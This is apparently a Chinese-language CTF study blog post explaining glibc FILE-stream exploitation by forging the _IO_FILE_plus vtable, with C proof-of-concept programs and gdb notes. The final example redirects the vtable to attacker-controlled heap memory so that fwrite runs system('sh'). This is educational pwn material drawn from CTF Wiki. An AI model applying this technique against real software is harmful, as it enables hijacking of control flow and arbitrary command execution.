IO利用之伪造 vtable 劫持程序流程

IO利用之伪造 vtable 劫持程序流程

建议学习的前置知识:

->Linux下I/O库中的FILE结构/

->_IO_FILE_plus结构

概述

Linux中的一些常见的IO操作函数都要经过FILE结构处理,其中_IO_FILE_plus结构中存在vtable,而某些函数会取出vtable中的指针进行调用

struct _IO_FILE_plus
{
  FILE file;
  const struct _IO_jump_t *vtable;
};

根据上述,我们可以通过伪造 _IO_FILE_plus 的 vtable 来劫持程序流程,把vtable指向我们已经可以控制的内存,如某个chunk,随后我们有两种思路来利用

  1. 直接改写vtable中的函数指针(需要有任意地址写)
  2. 覆盖vtable的指针->指向我们控制的内存,在其中布置函数指针

演示

下面用CTF-wiki的例子来演示

在此之前我们得知道_IO_FILE_plus位于哪,对于fopen 是位于堆内存中 , 而对于stdin\stdout\stderr是位于libc.so中的

int main(void)
{
    printf("这里演示修改vtable中的指针")
    FILE *fp;
    long long *vtable_ptr;
    fp=fopen("flag.txt","rw");
    vtable_ptr=*(long long*)((long long)fp+0xd8);     //get vtable

    vtable_ptr[7]=0x41414141 //xsputn

    printf("call 0x41414141");
}

在64位系统下vtable地址在_IO_FILE_plus的偏移为0xd8 ,由于printf会调用vtable中的xsputn所以我们就可以更改xsputn为某个目标地址,xsputn是vtable中的第八项源码位于我的IO利用之利用stdout泄露libc中

ctf-wiki:

在 xsputn 等 vtable 函数进行调用时,传入的第一个参数其实是对应的_IO_FILE_plus 地址。

比如调用 printf,传递给 vtable 的第一个参数就是_IO_2_1_stdout_的地址。

利用:

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#define system_ptr 0x7ffff7a52390;

int main(void)
{
    FILE *fp;
    long long *vtable_ptr;
    fp=fopen("123.txt","rw");
    vtable_ptr=*(long long*)((long long)fp+0xd8);     //get vtable

    memcpy(fp,"sh",3);

    vtable_ptr[7]=system_ptr //xsputn


    fwrite("hi",2,1,fp);
}

下面用gdb调试一下看看怎么个事

运行到14行,可以看见我们的vtabel_ptr已经变成了_IO_file_jumps的地址了

image-20251103212515224

查房!里面的成员第八项就是我们的xsputn直接执行vtable_ptr[7]=system_ptr

image-20251103212901350

按理来说我们是可以直接修改的但是

pwndbg> 
Program received signal SIGSEGV, Segmentation fault.
0x00005555555551f0 in main () at IO_vtable.c:16
16          vtable_ptr[7]=system_ptr //xsputn

我们这里显示段错误

原因:在目前 libc2.23 版本下,位于 libc 数据段的 vtable 是不可以进行写入的。 IO_FILE_plus 结构中的 vtable 是 const 修饰的, 默认的在 libc 只读数据段, 所以 vtable 中的函数指针不能直接更改 --> const struct _IO_jump_t *vtable;

但是我们可以使用第二种思路->在可控的内存中伪造 vtable

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#define system_ptr 0x7ffff7a52390;

int main(void)
{
    FILE *fp;
    long long *vtable_addr,*fake_vtable;

    fp=fopen("123.txt","rw");
    fake_vtable=malloc(0x40);

    vtable_addr=(long long *)((long long)fp+0xd8);     //vtable offset

    vtable_addr[0]=(long long)fake_vtable; //修改vtable指针为我们可控的内存地址

    memcpy(fp,"sh",3);

    fake_vtable[7]=system_ptr; //xsputn

    fwrite("hi",2,1,fp);
}

程序的逻辑和原来的差不多,只是我们的vtable_addr改为了 IO_FILE_plus 结构(这里是fp)中的 vtable指针地址,然后我们把这个指针改为我们可以控制的内存地址-->fake_vtable,然后将fp的头部改为'sh'(因为 vtable 中的函数调用时会把对应的_IO_FILE_plus 指针作为第一个参数传递),把fake_vtable第八项成员改为system的地址,这样当我们调用fwrite的时候就会执行system('sh')

同样,如果程序中不存在 fopen 等函数创建的_IO_FILE 时,也可以选择 stdin\stdout\stderr 等位于 libc.so 中的_IO_FILE,这些流在 printf\scanf 等函数中就会被使用到。在 libc2.23 之前,这些 vtable 是可以写入并且不存在其他检测的。

参考:伪造vtable劫持程序流程 - CTF Wiki

posted @ 2025-11-04 17:21  1angx  阅读(5)  评论(0)    收藏  举报